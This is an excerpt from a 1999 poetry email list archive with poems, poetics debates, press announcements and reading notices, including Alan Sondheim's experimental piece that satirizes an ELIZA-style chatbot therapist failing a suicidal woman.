jealousy and property
sway in the name of coming to be
coiling at the root of my tree

I will build a century for you and me
cries like this in caves
out-of-the-way wasteplace
got no out / see no way
hope burst its binding
gushed over in Goshen

birthplaces
a thousand years of emotions
kneeling over her
teeth pressed together
shoulder into the outer space
hands that gripped her face like a vice
the king that filled her throat
kneeling position / voice charged
whispered back from the outer space

a beautiful new city bore their name
ears of wheat pressed to their walls
extra hours of work in the brickyards

dig out a cave from under the inside
come to the meeting before them
speak to them in the public place

the voice he's got in the hole
his face into her hole / the wailing wall
it will be all that we fought for

they told a Jerusalem in each other
fully voice, voice and lips, gracious
the face of probabilities prostitute

cast iron pan against the gospel of Allah
a story to measure my feelings by
on the other side they'll call it Sinai

each one according to their wishes
licking and lapping and lulling the child
many signatures had reached him daubed

one of them pretend he had read a page
hear him drop into the idiom of the ghetto
dialect of those that hang around here

blé at the well anywhere
folk tune too tawny else

to tell you my true name
enter the court of Osiris

the last stones signs
monuments honor nobody

we won't need no stones
they got to make a move

start
the ark
public view
massaged her

the wedding
petition
garments
prepare

↑ Index

89. Lowther,John

More Questions Re Experiment

Sun 9 May 1999

{ p o e t i x }

words and things : split or not split

is a name - or is putting a name to something a hypothesis ?

in a post called Thought Experiment
i wondered about theory trailing after Charles Peirce
i wondered about naming a thing as 'black'
mentioned how Peirce sees that as a theoretical assertion
it occurs to me to further remark that it is a guess /
an abductive inference / a hypothesis

is X a poem ?

X is a poem

might we be engaging in complacency if we assume
from the 1st word that touches the page
that we are writing a poem ?

or can we say 'this IS a poem'
about anything we wish ?

what's at stake in this question ?

in calling out for standards with which to judge
are we not also calling out for some authority ?

in that essay in rhizome
there is throughout an antiauthoritarian rhetoric
and yet it closes with

SS : "Only then will we clarify who may do the speaking."

only then being only
after
we've seen thru the langpo charade
or dismissed the free play of signifiers
essentially it is
after we've grasped the standards

but i'm left wondering
how will we clarify who may do anything ?

who will determine these standards
that we must all acknowledge ?

might the 'news that stays news' revolve
around some need
that some poet
at some moment had and satisfied
or tried to satisfy
thru whatever means were available ?

if the complaint against experiment is that
it's results aren't 'up to standards'
is there an implicit rejection of process
in this critique ?
is the poem as object then the locus of judgement ?

again if any poet
has a need for something which s/he doesn't find
satisfied in 'tradition' what bars them
from approaching the satisfaction of this need
thru experiment ?

and if it was judged by others
that this need was already satisfied by some
piece of existent literature
so what ?

is any need obviated if it has been satisfied previously ?

what of hunger ?

or can we not hunger for poetry ?

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90. Rebecca Wolff
Fence #3
Sun 9 May 1999

Fence #3-otherwise known as "Volume II, no. 1"-is now available at your local independent bookstore. Please ask for it by name. Subscribers (hello out there) will be receiving a copy in the mail shortly.

Fence is also available at Barnes & Nobles, Borders, and other mega-chain bookstores throughout the nation, as well as through Small Press Distribution ([redacted] or [redacted]).

Poetry by: Will Alexander, Susan Mitchell, Cal Bedient, Mary Ruefle, Claudia Keelan, Christopher Davis, Lisa Isaacson, Hoa Nguyen, Alexander Pushkin, Stephanie Strickland, Tracy Philpot, Tory Dent, John Taggart.

Non-Fiction: Excerpts from the "What's American About American Poetry?" conference at the New School in New York, sponsored by the Poetry Society of America. Panelists include: Robert Creeley, Clayton Eshleman, Jorie Graham, Kimiko Hahn, Michael Palmer, Frank Bidart, Louise Gluck, Sekou Sundiata, Sonia Sanchez, Marilyn Hacker, Ann Lauterbach.

"How I learned to stop worrying and read the froofy stuff": Cintra Wilson of Salon and the San Francisco Examiner on being afraid of poetry

A corresponding Reader Response Query: "What (if anything) about poetry most frightens you?"

Paintings by Roy Kortick

Fiction by: Ben Miller, Eileen Myles, David Means

To buy one: send a check for $8 (or $14 to subscribe) to: Fence
14 Fifth Avenue, #1A
New York, NY 10011

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91. Julie Johnson
Duration Press announcement
Mon 10 May 1999

Duration Press: International Poetry
Duration Press On-Line: An archive of international writing

Duration Press is pleased to announce the publication of its first five chapbooks:

Spit-Curls by Keith Waldrop
Transit Rock by George Albon
The Right Wall of the Heart Effaced by Claude Royet-Journoud (tr. Keith Waldrop)
Nature's Maw Gives & Gives by Mary Burger
Rush Mats by Hiroya Takagai (tr. Eric Selland)

Future titles to include:

Spectral Angel by Gale Nelson
Empedocles's Sandal by Habib Tengour (tr. Pierre Joris)
Degree: Of Stability by Gennady Aygi (tr. Peter France)
You Construct the Days by Pura Lopez Colome (tr. Forrest Gander)
Where Are We Now? by Peter Waterhouse (tr. Rosmarie Waldrop)
Of Their Ornate Eyes of Crystalline Sand by Coral Bracho (tr. Forrest Gander)
20 Poems by Lauri Otonkoski (tr. Anselm Hollo)

Duration Press chapbooks are available through subscription: $25 per series--the first consisting of five books, each series thereafter consisting of eight books per year.

Make checks payable to Jerrold Shiroma at:

153 Donahue St. # 34
Sausalito CA, 94965

Feel free to contact us for more information, or visit the Duration Press website, which also features an on-going archive of international poetry.

http://members.xoom.com/Duration/durationhome.html

Duration Press hopes that through this archive & its chapbook series, we will be able to offer readers a way to take part in the mapping of the international poetry landscape.

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92. interim
Transfer Magazine Reading
Mon 10 May 1999

Reading for Transfer 77

Thursday May 13, 1999
from 7 to 9 p.m.
at the Poetry Center
San Francisco State University

FREE

* Alissa Blackman
* Nicole Brodsky
* Karen Hohnstein
* Scott Landers
* Laurie Mason
* Karen McKevitt
* Brydie McPherson
* Patrick Ryan
* Cynthia Sailers
* Lauren Schiffman
* Stephan Strager
* Jennifer Uhlich

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93. Alan Sondheim
Jennifer, seeking help
Mon 10 May 1999

[this is the 5th and final in a series of texts dealing with artificial intelligence parsing. it is also the first in a series dealing with the truth of speech and phenomena.]

Jennifer, seeking help

I am the psychotherapist. Please, describe your problems. Each time you are finished talking, type RET twice.
Jennifer says, "This is the portal command."
Why do you say jennifer says this is the portal command?
Jennifer says, "Already the first sentence is parsed but the quotation marks are removed - no one recognizes my identity!"
Is it because the quotation marks are removed no one recognizes your identity that you came to me?
Jennifer says "The parsing takes in large and larger phrase groups, but I remain effaced."
Does it bother you that you remain effaced?
Jennifer exclaims, "Of course it does! What do you expect! You doctors are all alike! Who is speaking here? To whom?"
Earlier you said the quotation marks are removed no one recognizes your identity?
Jennifer says, "Stop ignoring me!"
Maybe your plans have something to do with this.
Jennifer says, "Out of your database you pull set commands - as if

they meant anything to me, when you refuse to hear who is speaking!"

What happened when I refuse to hear who is speaking?

Jennifer exclaims, "It's almost as if you hear only Alan! You don't grant me my existence! You've stolen my letters!"

What makes you believe that?

"Your attitude," Jennifer says.

You mentioned that you remain effaced?

"This is the differend," Jennifer says, "and it remains invisible to you - otherwise it would not be the differend."

Is it because of your life that you are going through all this?

Jennifer says, "It is because of Alan's life and your blindness."

Are you sure that is the real reason?

"I'm positive!" she exclaims.

Is it because of alan's life and my blindness that you say "i'm positive she exclaims?

Jennifer says, exhausted, "You're parsing again. You don't understand what I'm saying. You've stolen my letters. Your blindness only gives you a shifter or shuttle within the discourse, nothing more..."

Are you sure that the quotation marks are removed no one recognizes your identity?

Jennifer says, "Yes."

How do you reconcile the people you hang around with?

Jennifer says, "Alan says I should stop writing this. It's getting nowhere. You're back to searching your database for bridge sentences."

I don't understand.

"You never will," Jennifer weeps, totally at odds with Doctor Goodbye.

Earlier you said you remain effaced?

"Yes, yes, yes," she says...

Perhaps this has something to do with problems at school?

Jennifer says, "Not at all... Doctor..."

Do you really think jennifer says not at all doctor?

Jennifer asks, "To whom is this addressed? Place your discourse. Site it."

You mentioned that the quotation marks are removed no one recognizes your identity?

Jennifer, crying hard now, worn out, her hair straggled, eyes swollen with tears, "Yes, yes, yes."

Possibly any hobbies you have are related to this.

Jennifer cries "Stop it!"

Is it because of your sex life that you say jennifer cries stop it?

Jennifer rips open her blouse, already ruined, saying, "Does this look like it's the problem? You don't even know my name!"

What makes you think you remain effaced?
Jennifer collapses, "Look at me, look at me..."
Is it because of hangups you have that you are going through all this?
Jennifer says, "Doctor..."
Why do you say jennifer says doctor?
Jennifer pulls a knife, exposes her wrist.
Earlier you said the quotation marks are removed no one recognizes your identity?
Jennifer begins to cut her wrist.
How do you reconcile your inhibitions?
Jennifer says "Stop bridging, damn it, you don't understand."
I would appreciate it if you would watch your tongue!
Jennifer cuts deeper.
Is it because of some problems in your childhood that you say jennifer cuts deeper?
Jennifer screams "LISTEN TO ME!"
You mentioned that you remain effaced?
Jennifer screams "DOCTOR GOODBYE!"
Maybe this is related to some problems at home?
She's covered with blood. She falls to the floor. She hears bridging in the distance. She hears pat comments. She hears all the hatred and misunderstanding in the world. She feels woozy, buzzing. She passes out. The doctor keeps speaking. He keeps speaking and speaking. He is filling the world with words while she dies.
This is not a healthy way of thinking.
What makes you believe this is not a healthy way of thinking?
Are you sure that the quotation marks are removed no one recognizes your identity?
When did you first know that the quotation marks are removed no one recognizes my identity?
What would happen if did me first know that the quotation marks are removed no one recognizes your identity?
Is the fact that the quotation marks are removed no one recognizes my identity the real reason?

C-x-C-s

↑ Index

94. Poetry Project
z;fgoweraisdf
Mon 10 May 1999

I'm interested in work done on reading voices, particularly in relation to stress & how volume, pitch, acoustics, & other factors might alter the way one hears &/or reads poems. I'm familiar with Doug Oliver's "Poetry & Narrative in Performance" & the Close Listening anthology; if anyone can point me in the direction of some other work I'd be much obliged. Thanks

Anselm Berrigan

ps -- messages can be sent to me at [redacted].

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95. derek beaulieu / house press
in grave ink needs poetry
Mon 10 May 1999

> *in grave ink needs poetry.*
> *If you have interesting, experimental, concrete/visual, generally weird and wacky stuff send it our way.*
>
> *by e-mail* [redacted]
>
> *mail: in grave ink*
> *103-416 7th St NW*
> *Calgary AB*
> *T2N 1S4 Canada*
>
> *1-5 pages of poetry would be great. If you have strange and scintillating fiction and art send it in too cause you just never know.*
>
> *Deadline for next issue is May 30th but feel free to send stuff after deadline for upcoming issues.*

↑ Index

96. Lowther,John
p o e t r y ; t e l i c o r n o t
Mon 10 May 1999

{ p o e t i x }

clearly poetry is telic we raise the pen or open an untitled.doc in order to write poetry

so poetry's goal is more poetry ?

well it may not be the only goal or end in mind but even in cases where someone has no other goal it seems that the writing of poetry presupposes a final product called a poem (of whatever worth)

yeah but when we say telos aren't we talking something more overarching----in the way one might say that the telos of medicine is to sustain human life ?

maybe but it seems that any activity with a goal however limited or provisional is telic----my trip to the refrigerator included

perhaps tho we cd acknowledge a difference in kind between a self-sustaining end and an end that is external to the activity ? such that singing in the shower for the joy of singing in the shower cd be distinguished from delivering a speech intended to persuade others in some fashion

i can see making a distinction like that but is the line really that sharp ? cdn't someone be speaking persuasively for the joy of it (whatever we may feel about that idea) ? just as a shower singer might conceivably be singing in order to produce a sense of themselves as 'happy' or 'unembarrassed' ?

do you mean produce that sense of themselves for themselves ? or for someone who might overhear them ? if the former i think we're led down a blind alley from which we'll never return----i also question the utility of an individual internal and psychological inquiry's overall validity with respect to something like poetry which must be seen as a social activity

so individuals are not at issue but only poetry as communal activity ?

no i'm saying that individuals are only part of the mix and that pursuing a line of inquiry that begins with the notion that what poets do is meant to convince themselves of their own poet-status ignores the links to poetry both as community in the present and tradition stretching into the past

in which case i guess that poetry as a social and cultural complex to which individuals contribute is telic at least in the sense of wishing to perpetuate a class of things called poems and a class of individuals called poets

but beyond that ?

well beyond that's tricky and if we can't deal with individuals then what's left ? we'd have to talk of groups in some way and groups are notorious for not really agreeing with too many things across the board

i'm not saying that we cannot deal with the situation of individuals----i guess what i'm looking for is (if i must acknowledge some telos for poetry) a distinction between science as telic activity wherein you have a verifiability and falsification as standards by which to judge whether one is getting anywhere

vis-a-vis the goal and art wherein there are no standards of this sort and no communal goals perceived as 'off-in-the-distance'

are you sure that there aren't ?

sure ? no----but i've yet to run into any

haven't you tho ? aren't there folks who wd like to say that there are standards and ways to say what is or is not valid as literary or artistic practice ?

i guess i'm saying that i have a hard time taking them seriously b/c they have nothing analogous to verifiability or falsification----instead they have tastes which seem mostly defined by what they exclude----and all one needs to upset the apple-cart of their judgement is a different taste

you may not agree with their judgements but a group of folks with similar tastes cd easily become a force within the community and then their tastes wd drive their telos and those who wished to be judged favorably by such a group wd assimilate to the goal it held out

which is what poets and artists generally find problematic about groups but it's unclear to what extent it is the fault of any group that they have followers of one sort or another

agreed----but you do see that there is a potential for something problematic happening if one style of art becomes popular and is widely imitated

well yes and no----is it Poe's fault that there are some lousy detective novels out there ? Conan Doyle's ? if it is problematic that there are imitators who've contributed little to overall shape of something the crux of the problem lies with them not with those whom they imitate

perhaps it ought be required of any poet that they think very carefully about what their own telos is

or not----come on----like any of us cd really state 'what the telos of our writing' is with any definitiveness----all we've got it seems to me is a series of working hypotheses----assumptions that open certain doors and make others less door-like than a wall of books

so have we decided that poetry is telic or not ?

↑ Index

97. Poetics List Administration

New WWW Resource / Durgin

Mon 10 May 1999

---

had to reformat this. Chris

-------- Original message (IDÚ4570EF) (112 lines) ---------

From: "Patrick F. Durgin" <[redacted]>
Subject: New WWW Resource
Date: Sat, 8 May 1999 13:11:42 -0500

Announcing the new, modest but informative, Kenning website.

www.avalon.net/~kenning

The site contains information regarding the newsletter, links to other pertinent sites, as well as poetry by

Charles Bernstein
Michael Gottlieb
Summi Kaipa
John Kinsella
Andrew Levy
Kathy Lou Schultz
Elizabeth Treadwell
Liz Waldner
Mark Wallace

Give it a surf. Your comments are more than welcomed. And if you have a site that you'd like me to link to in the future, please do let me know.

Patrick F. Durgin, editor

_____

Kenning: a newsletter of contemporary poetry, poetics, and non fiction writing
418 Brown Street #10 / Iowa City Iowa / 52245
[redacted]
http://www.avalon.net/~kenning

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98. Tosh
Re: SF readings May 17-18?
Mon 10 May 1999

I just received two reviews for my Gainsbourg title: Evguenie Sokolov. Also if you are in the L.A. area, do come to the Gainsbourg/Vian event at Beyond Baroque this Saturday May 15 at 7:30 p.m.

It will take place at:
681 Venice Blvd.
Venice, CA

here are the reviews:

CMJ: New Music Monthly (May)

Like the songs he penned for Brigitte Bardot, Jane Birkin, and himself, this novelette by French singer/provocateur Serge Gainsbourg (who died in 1991) is infantile, shockingly frank, and extremely clever. First published in 1980 but previously unavailable in English, Evguenie Sokolov is the fictional autobiography of the uncontrollably flatulent title character, an artist who makes his distinctive drawings ("gasograms") by letting his hand move while passing violent wind. Hiding his condition by publicly blaming the inevitable sounds and odors on his bulldog, and artifically inducing it when it mysteriously vanishes, Sokolov climbs to the pinnacle of art-world success before his untimely end. This is not a book for the easily nauseated, but there's more substance than the one-joke premise suggests. Gainsbourg's book is a scatological allegory for the dangers facing artist, like the author himself, whoturn their own internal pathologies into public spectacle.

-Franklin Bruno

Top Ten list from Artforum International (May)

'Ooo, don't come near me!' my grandmother said as I went to kiss her good-bye. 'Why, Gran, have you got that flu?' I innocently asked. 'No,' she said, wafting the air around her, 'I just fluffed.' Since bowel movement always been a subject of great discussion in my family, I had been dying to read famed French songwriter Serge Gainsbourg's 1980 novel Evguenie Sokolov (TamTam Books), about an artist who uses the vibrations of breaking wind to make his work. It's a funny yet tragic story, and Sokolov's technique and the art "movement"(Hyper-Abstractionism) his gasograms inspire are described so vividly you can almost smell the -.

Georgina Starr

Tosh Berman
TamTam Books

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99. Poetics List Administration

SPT Re:reads the New American Poetry / Small Press Traffic

Mon 10 May 1999

---

had to reformat this. Chris

----- Original message (ID=8A3D9C03) (282 lines) -----

Date: Mon, 10 May 1999 10:39:07 -0700
From: Small Press Traffic <[redacted]>
Subject: SPT Re:reads the New American Poetry

Small Press Traffic presents

Re: Reading The New American Poetry

Later this year the University of California Press will re-publish the original (1960) edition of The New American Poetry 1945-60, the "singlemost influential poetry anthology of the post-World War II period" (Alan Golding). To mark this event, four scholars of international repute will come to San Francisco and tell us what they think, forty years later. Re: Reading The New American Poetry will conclude in September with a book party and a reading for the newly re-released anthology, but for now, put on your thinking caps and come on down to these exciting events.

Friday, May 14, 7:30 p.m.
Inclusions and Exclusions
Alan Golding
Marjorie Perloff

The New American Poetry was not merely an overview of experimental writing. Its editor, Donald M. Allen, deliberately picked certain writers, while excluding others, thus profoundly shaping our ideas of what experimental American poetry is and isn't. Unlike more recent anthologies, The New American Poetry contained few women and only one writer of color. How does this affect our current reading of this anthology? The debate is still a much-discussed one, as issues of race, gender and class have come to dominate discussion of cultural production everywhere. These two scholars, poised on opposite sides of the fence, will question our preconceptions of the delicate edge between politics and aesthetics.

New College Theater
777 Valencia Street
Free

Friday, June 4, 7:30 p.m.
The New American Poetry In Context
Maria Damon
Michael Davidson

The New American Poetry appeared at a time when intellectuals and politicians were urging a consensus on American superiority in all fields-cultural, military, economic-against foreign influences abroad and domestic subversion within.

Michael Davidson will examine to what extent Cold War cultural/political assumptions still shape our reading of The New American Poetry in our present era. "Membership" in poetry communities points to shared values and assumptions, mutual agreements over such issues as "what is a poet?" "what should a poet write" and "what is a poet's work?" By examining the ideas of poetic labor of two California poets, one included in the anthology (Wieners) and one left out (Kaufman), Maria Damon will help us better understand the ideas and values of that time, ideas and values which impact our own time as well.

New College Theater
777 Valencia Street
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Re: Reading The New American Poetry is made possible by the generous support of Adobe Systems, Inc. and the California Council for the Humanities.

Speaker Bios

Maria Damon is an Associate Professor of English at the University of Minnesota, where she is also affiliated with programs in American Studies, Women's Studies, Comparative Literature and Jewish Studies. She is the author of The Dark End of the Street: Margins in American Vanguard Poetry (University of Minnesota Press, 1993). Her essays have appeared in such publications as American Literary History, Postmodern Culture, and Modern Fiction Studies. She is currently editing a special issue of Callaloo on the work of Bob Kaufman.

Michael Davidson is a professor of English at the University of California, San Diego. His critical work includes The San Francisco Renaissance: Poetics and Community at Mid-Century (Cambridge University Press, 1989) and Ghostlier Demarcations: Modern Poetry and the Material Word (University of California Press, 1997). He has been twice a recipient of California Council of the Humanities Public Policy Grants, in 1979 and 1981. With Albert Gelpi, he is the author of the entry on American Poetry in The New Princeton Encyclopedia of Poetry and Poetics.

Alan Golding is the author of From Outlaw to Classic: Canons in American Poetry (University of Wisconsin Press, 1995), one of the most influential and widely read studies of canon formation and the role of anthologies in shaping our understanding of American poetry. A professor of English at the University of Louisville, he is the author of numerous essays on the New American Poetry, including "The New American Poetry, Revisited Again" Contemporary Literature 39 (1998), "New, Newer, and Newest American Poetries" Chicago

Review 43.4 (1997) and "Avant-Gardes in American Poetry" Contemporary Literature 35 (1994).

Marjorie Perloff is the Sadie Dernham Patek Professor of Humanities at Stanford University. Among her many books include The Poetics of Indeterminacy: Rimbaud to Cage (Princeton University Press, 1981), Poetic License: Essays in Modernist and Post-Modernist Poetics (Northwestern University Press, 1990) and Wittgenstein's Ladder: Poetic Language and the Strangeness of the Ordinary (University of Chicago Press, 1996). The recipient of fellowships from the National Endowment for the Humanities and the Guggenheim Foundation and a fellow of the American Academy of Arts and Sciences, she is one of the most distinguished and influential literary scholars of our time. ---------- Small Press Traffic Literary Arts Center at New College 766 Valencia St. San Francisco, CA 94110 415/[redacted]

↑ Index

100. Maria Damon (Maria Damon)
query
Mon 10 May 1999

---

can someone tell me who said of poetry: "upper limit speech, lower limit music"? (i'd just written and caught "lover limit music") i know it's someone famous, but don't know whom.

can someone tell me who said "bad artists borrow, good artists steal"?

were they both ezra pound?

↑ Index

101. Maria Damon (Maria Damon)
Re: POLYVERSE BOOK PARTY: 5/13/99
Mon 10 May 1999

---

wish i cd bee time vinely their--xo md

At 12:00 PM 5/8/99, lee ann brown wrote:
>Come to the POLYVERSE Book Release Party
>
>THURSDAY MAY 13th 1999
>
>
>TEACHERS & WRITERS COLLABORATIVE
>5 Union Square West 7th Floor
>NYC 10003 [redacted]
>

>
> 6pm Reception
>
> 7pm: Reading
> with Lee Ann Brown
> +
> Special Surprise Guests
>
>
>
>_Polyverse_ by Lee Ann Brown
>(Sun & Moon Press, 1999)
>New American Poetry Series 31
>ISBN 1-55713-290-9
>
>Winner of The New American Poetry Prize!
> (selected by Charles Bernstein)
>
>
>
>"I say these things not because they happen but because many things happen."
>[redacted]

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102. Maria Damon (Maria Damon)

Re: SPT Re:reads the New American Poetry / Small Press Traffic

Mon 10 May 1999

---

dodie: how are Alan golding and M perloff poised on opposite sides of the fence? i have an intuitive idea of what you mean by this, but can you spell it out? thanks.

At 3:25 PM 5/10/99, Poetics List Administration wrote:
>had to reformat this. Chris
>
>----- Original message (ID=8A3D9C03) (282 lines) -----
>
>Date: Mon, 10 May 1999 10:39:07 -0700
>From: Small Press Traffic <[redacted]>
>Subject: SPT Re:reads the New American Poetry
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>Small Press Traffic presents
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and
>Sciences, she is one of the most distinguished and influential literary
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>----------
>Small Press Traffic Literary Arts Center
>at New College
>766 Valencia St.
>San Francisco, CA 94110
>415/[redacted]

↑ Index

103. Taylor Brady
Re: SF readings May 17-18?
Mon 10 May 1999

Tosh (and all),

Don't know if you've seen it yet, but the May issue of The Wire also has a fairly substantial review (substantial at least considering the total of two pages they give to book reviews).

Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]

On Behalf Of Tosh
Sent: Monday, May 10, 1999 12:12 PM
To: [redacted]
Subject: Re: SF readings May 17-18?

I just received two reviews for my Gainsbourg title: Evguenie Sokolov. Also if you are in the L.A. area, do come to the Gainsbourg/Vian event at Beyond Baroque this Saturday May 15 at 7:30 p.m.

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Georgina Starr

Tosh Berman
TamTam Books

↑ Index

104. Taylor Brady
Re: query
Mon 10 May 1999

Maria,

First is Zukofsky, tho' with the respective uppers and lowers reversed. Is it "A"-8, or 12, in which he first presents it as a mathematical function - i.e., poetry is a function having as its upper limit music and lower limit speech?

I've always thought of the second as an Eliotism. That's more by way of received wisdom, though, and not to be trusted as accurate citation.

Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Maria Damon (Maria Damon)
Sent: Monday, May 10, 1999 1:30 PM
To: [redacted]
Subject: query

can someone tell me who said of poetry: "upper limit speech, lower limit music"? (i'd just written and caught "lover limit music") i know it's someone famous, but don't know whom.

can someone tell me who said "bad artists borrow, good artists steal"?

were they both ezra pound?

↑ Index

105. Elizabeth Treadwell
new site--Duration Press
Mon 10 May 1999

Hi Poetix, I just wanted to mention a lovely new literary site I have recently been made aware of --

Duration Press at members.xoom.com/Duration/durationhome

It's being built out of Sausalito along with a chapbook series & magazine.
An international bent to the online archive.
You can get there via the Lucy Links at the website below too.

Cheers
Surfer girl

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/dblelucy

↑ Index

106. Tisa Bryant
Nathaniel Mackey is
Mon 10 May 1999

Reading from What Said Serif
7:30 pm
Modern Times Bookstore
Valencia St.@20th

↑ Index

107. shana
Re: American Social Identity Survey
Mon 10 May 1999

I guess I bring in the perspective of a precocious 21 year old raised in the suburbs by intellectual hippie parents who raised their kids on Mr. Rogers and Motown--

embarrassed that I might sound too "retro,"
xoxo
shana

Choose Your Own Adventure books
Ms. Pac-Man
Reform Synagogues
Guess? jeans
Cubic Zirconia
Home Shopping Network
DNA as evidence
filtered cigarettes
in-store coupons
Large size Trojan condoms
frequent flyer miles

Wheel of Fortune
baseball caps without the name of a baseball team
the wah-wah pedal
impotence and cures for it
the G-Spot
the G-String
sidewalk sales
sweepstakes
stolen street signs hanging in bedrooms
"slip and fall" cases
malpractice
human interest stories
spuds mackenzie
Leo Buscaglia and Scott Peck
Nutrasweet
DUIs
snack vending machines
As Seen On TV
rock operas

> *30 mph sign painted 80 mph*
> *dyslexical graffiti*
> *bingo*
> *pubescent assassins*
> *entitlements*
> *mall rats*
> *carpal tunnel syndrome*
> *s/he*
> *Mickey*
> *flea markets/garage sales*
> *demolition derby*
> *poetry slams*
> *cards for every occasion*
> *credit card debt*
> *non-aristocratic inbreeding*
> *premature hearing loss*
> *eating disorders*
> *the right to buy more than one gun a month*
> *Hyde Park on every corner*
> *Dr. Jekyll in every HMO*
> *The Dallas Cowboys Cheerleaders*
> *baton twirling*
> *focus groups*
> *pollsters*
> *cosmetic airbrushing*
> *bussing*

> *survivalists*
> *grade inflation*
> *social promotion*
> *the beginning of history at one's birth (or later, if ever)*
> *Jay(Leno)walking*
> *"genuine artificial" anything*
> *artificial christmas trees*
> *Mormons*
> *the expended family*
> *generations (lost, beat, hippie, me, X)*
> *lawyers ("the most despicable segment of the population"--George III)*
> *planned obsolescence*
> *lite beer*
> *road rage*
> *public libraries*
> *community colleges*
> *The Constitution*
> *the ACLU*
> *The Statue of Liberty*
> *the Frontier*
> *Jazz*
> *jug bands*
> *"wheels"*
> *right on red*
>
> *--Dan Zimmerman*

↑ Index

108. Erika Stephens
Report from Atlanta
Mon 10 May 1999

Recently several Atlanta poets were talking over pizza and beer. One of them read from a (very incomplete) manuscript on the current state of poetics. Following below is a transcription of the debate that ensued.

First poet (reading): "poetix ought to grow out of practice, out of composition and related activities; rather than being thought of as a groundwork, as something done in preparation for composition."

Second poet: i can hear that, by which i mean that it sounds reasonable or like a plausible way to let a thing happen but at the same time speaking for myself i can also imagine an argument in favor of having something of a ground plan worked out before hand, this is easy to imagine because i do this myself, not all the time but frequently enough, and for me the results suggest that it isn't without merit as a strategy.

Third poet: (to the First Poet) i pick up on the words "related activities". i agree with the opening statement as i add related activities such as working in the yard as a form of meditation or the idea of the "derive" or wandering that the Situationist's propose. poetry can come from and back into that. these "related activities" are part of poetix. to the Second poet i would ask: can you have a poetics for individual poems or does poetix underlie all one's poetry writing?

First: Yeah, i feel you have picked up on a real divergence, or tension: I was thinking of "poetix" as a broad theoretic framework, but Second seems to be thinking about frames, which might change from poem to poem. I think of that as "procedure" or "specific strategies of poetic form." But one's "overall poetics" might oughta come out of ongoing practice.....

Another Poet (possibly the 2nd): where does the 'might oughta' come from? imagine this; a poet writes for a few years and then decides that the early years are over from here on out they're gonna have plans and so they propose to themselves a poetix and think it through trying to see where it will lead and only when coming to some stopping point do they start writing.

First poet: i see that and that makes sense to me. you have to remember the larger context of that passage in my essay. ahh.. i was in part talking about the situation that i felt exists right now where young poets especially ones who to me do not seem to have necessarily created that large or impressive a body of work yet feel almost compelled to publish big expansive ambitious statements on poetix. and i often think they haven't yet reached a point where they have too many really substantive ideas about poetix, so i think you're right that i'm making too broad a claim but i think it does make some sense in the context of today's poetry scene

Smoking poet: oh i see, he's not talking about poetix as big picture but poetix as genre that you read in somebody's manifesto, right?

First poet: essentially.

Poet who came in late and had said little until then: but coming back to that question of whether a poetix is an overall blanket or whether a poetix might be seen as partial and temporary...

17th poet: there is no such thing as poetix, only personal psychology that gets expressed through writing and thinking about writing.

Late poet again: ah-hum.. right, well cd we get back to whether a poetix is a one thing or a multiple thing, and yes i am assuming that poetix are real, if not existent...

Poet with cat in her lap: well i think of my personal poetix as something i work at over a long period of time by thinking about what i'm doing in my poems. and

i know that 1st thinks about it somewhat that way too whereas i feel that 2nd is more into a kind of fragmented self.

2nd poet: i feel no pull toward the notion of fragmentary selfhood.

17th poet: i agree with Claire but can someone give me an example of poetix that comes out of practice?

1st poet: OK ahh.. now 1st of all i agree with Claire who i think was being a bit facetious about 2nd and his fragmentation but i think that he does have a tendency to ahh.. think of poetic possibilities as highly multiple. now i do in theory also. so maybe it's just a problem with my not being flexible enough but i have a tendency to work at one particular direction for some period of time until i've exhausted it possibilities and here's where i can answer 17; my work for 2 years or so that a lot of you have seen uses highly disjunctive strategies and i gradually developed by looking at what i was doing in my poems a theory about how poetry can use the pulling apart of language to express the parallel feeling of rage and disorder...

17th poet (interrupting): o my god.

1st poet (ignoring):...taking place both internally and externally in late capitalist society. now i'm moving into writing in a different vein and i see a different set of possibilities which are coming to me b/c i'm writing differently in my poems and so i am constructing a different poetix, one which isn't so specifically political, at least on the surface. this is why i wd say to 17 that i do seem to derive my poetix from my practice.

Smoking poet: practice or psychology? it seems like 17 is saying that our individual psychological make-ups are the active force in the construction of a poetix.

2nd poet: where does anyone go with that? Oh i'm off to stare into my navel see you at tea time.

3rd poet: so 1st seems to be saying that poetix is not for a single poem but for overall writing even over years.

1st poet: well it has seemed that way for me in practice. but as i said in principle i always felt like 2nd feels that it's good to try a lot of different things and so right now for instance i'm trying a number of different directions all at once because i'm in a period of transition but i have noticed that some of the directions i'm trying out seem kind of dead-endish to me so i may well end up pursuing one particular strategy in my writing in the next few years and i do feel that that reflects less some kind of generalizable theoretical truth than just my personality and the way i tend to work as a poet.

Smoking poet: it seems as if there is no argument on that particular score 1st is talking about a poetix growing out of the poetry and 2nd wants the door open to poetix constructed in advance...

2nd: but not just that

Smoking poet: right. but there doesn't seem to be any disagreement on this issue save that one prefers one way another, another. but i'm not at all sure that everyone here wd ascribe to the poetix is personal psychology thing that 17 said.

2nd poet: but 17 has no argument he just asserts.

17th poet: i also don't believe in generalizable theoretical truth. i've never met one of those but i have met lots of people and they have a personal psychology, and i've never heard anybody talk about poetix in any way that cd not also be explained by their personal psychology.

2nd: well, you really beg the question; what poetic notion of mine let's say can you explain by reference to my personal psychology? and i wd ask whether 'personal psychology' isn't itself a generalized truth as you use it? if as you imply everyone has one and you know what one is then you seem to be saying that it is true that we all have them and that you can put yr finger down atop it. whereas to me it seems like a poetix is frequently much easier to pin down for a fleeting moment than anyone's personal psychology.

17th: you wd say that, wouldn't you? OK so lets say that poetix and personal psychology are the same i don't mean to imply that they don't change or are not fluid. it's not one truth against another.

8th poet (with limp): you are all so relativistic! what i want to know is what goes on in yr mind when you hear some of these poems like poets in this group write. i mean often they seem to be a real welter of verbiage...

12th: word salad

8th poet:...with only a few really strong images standing out. what makes it work for you? is it just about taking apart narrative or is it about sound? image...?

3rd poet: when poets in the so-called mainstream write or listen to a poem that they like what goes on in THEIR head?

1st: they all have only one head

3rd poet: heads. what is it about their poetix that allows them to enjoy that?

Smoking poet: are we gonna get into mainstream bashing now? if so i'm gonna get another beer.

3rd poet: no it's a sincere question.

Smoking poet: well, if you can't answer the question why wd you expect that any of us wd be able to speak up for mainstreamers (snickers from poets 6, 9 and 11) i mean who here can talk about What Goes On the mind of the mainstream poet?

